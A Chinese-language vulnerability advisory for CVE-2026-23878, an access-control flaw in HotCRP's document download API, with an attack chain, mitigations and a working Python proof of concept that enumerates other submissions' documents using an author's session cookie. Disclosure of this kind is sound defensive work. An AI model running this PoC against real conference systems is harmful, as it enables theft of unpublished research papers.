IPBUF安全漏洞报告
English
CVE-2026-23878 CVSS 6.5 中危

CVE-2026-23878: HotCRP文档API未授权访问漏洞

披露日期: 2026-01-19

漏洞信息

漏洞编号
CVE-2026-23878
漏洞类型
访问控制绕过/敏感数据泄露
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
HotCRP (Conference Review Software)

相关标签

访问控制绕过敏感数据泄露权限校验缺陷HotCRP学术会议系统API安全CVE-2026-23878

漏洞概述

HotCRP是一款广泛使用的学术会议论文评审管理系统。2026年1月披露的安全漏洞显示,HotCRP在特定版本范围内存在严重的访问控制缺陷。攻击者只需在系统中拥有一个作者账户并提交过至少一篇论文,即可利用文档API接口非法访问系统中任意其他投稿的文档资源,包括PDF论文、附件等敏感文件。该漏洞源于文档下载接口的权限校验不完善,允许低权限用户通过构造特定请求绕过访问限制。由于学术会议的投稿文档通常包含未公开的研究内容,漏洞可能造成严重的数据泄露风险。CVSS评分6.5(中等),主要影响机密性。

技术细节

漏洞根因在于HotCRP的文档下载API端点未正确验证当前用户与目标文档的所属关系。系统仅检查用户是否为认证的作者账户,但未校验请求的文档是否属于该用户。在受影响版本中,从commit aa20ef288828b04550950cf67c831af8a525f508引入的代码变更导致权限检查逻辑缺陷。攻击者可通过遍历投稿ID或猜测文档路径的方式,利用API接口获取任意文档资源。API请求通常为GET/POST请求,参数包含submission_id和document_id等标识符。由于系统未实现基于用户-资源关系的强制访问控制(MAC),任何认证作者都可访问其他作者的私密文档。该漏洞属于OWASP Top 10中的Broken Access Control类别。修复方案在commit ceacd5f1476458792c44c6a993670f02c984b4a0中实施,新增了用户与文档的归属关系校验。

攻击链分析

STEP 1
1. 信息收集
攻击者注册HotCRP账户并提交至少一篇论文,获得有效的作者会话Cookie
STEP 2
2. 目标识别
通过会议列表或API枚举获取其他投稿的submission ID范围
STEP 3
3. 请求构造
构造文档下载API请求,使用自己的认证Cookie但指定其他用户的submission_id和document_id
STEP 4
4. 权限绕过
服务器未正确校验用户与文档的归属关系,返回目标文档内容
STEP 5
5. 数据窃取
批量下载敏感文档(PDF论文、附件),导致机密数据泄露

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-23878 PoC - HotCRP Unauthorized Document Access # Target: HotCRP instances with vulnerable versions # Requirement: Valid author account with at least one submission import requests import sys from concurrent.futures import ThreadPoolExecutor, as_completed def download_document(base_url, session_cookie, submission_id, document_id): """Attempt to download document from HotCRP""" url = f"{base_url}/api/docdownload" cookies = {'HotCRP.session': session_cookie} params = { 'p': submission_id, 'doc': document_id } try: response = requests.get(url, params=params, cookies=cookies, timeout=10) if response.status_code == 200 and len(response.content) > 0: return { 'submission_id': submission_id, 'document_id': document_id, 'size': len(response.content), 'content_type': response.headers.get('Content-Type', 'unknown') } except Exception as e: return None return None def main(): if len(sys.argv) < 4: print("Usage: python poc.py <base_url> <session_cookie> <target_submission_id>") print("Example: python poc.py https://conference.org 1a2b3c4d... 123") sys.exit(1) base_url = sys.argv[1].rstrip('/') session = sys.argv[2] target_id = int(sys.argv[3]) print(f"[*] Scanning for documents on submission {target_id}...") # Scan document IDs (typically 1-100) results = [] with ThreadPoolExecutor(max_workers=10) as executor: futures = [executor.submit(download_document, base_url, session, target_id, doc_id) for doc_id in range(1, 101)] for future in as_completed(futures): result = future.result() if result: results.append(result) print(f"[+] Found document ID {result['document_id']} ({result['size']} bytes)") print(f"\n[*] Total documents accessible: {len(results)}") print("[*] Vulnerability confirmed: Unauthorized document access possible") if __name__ == "__main__": main()

影响范围

HotCRP < commit ceacd5f1476458792c44c6a993670f02c984b4a0
HotCRP >= commit aa20ef288828b04550950cf67c831af8a525f508

防御指南

临时缓解措施
如果无法立即升级,可通过Web服务器配置限制/api/docdownload端点的访问,添加基于IP地址的访问控制;同时监控异常的大量文档请求日志。建议管理员检查Git提交日志,确认是否使用了受影响版本,并尽快应用安全补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表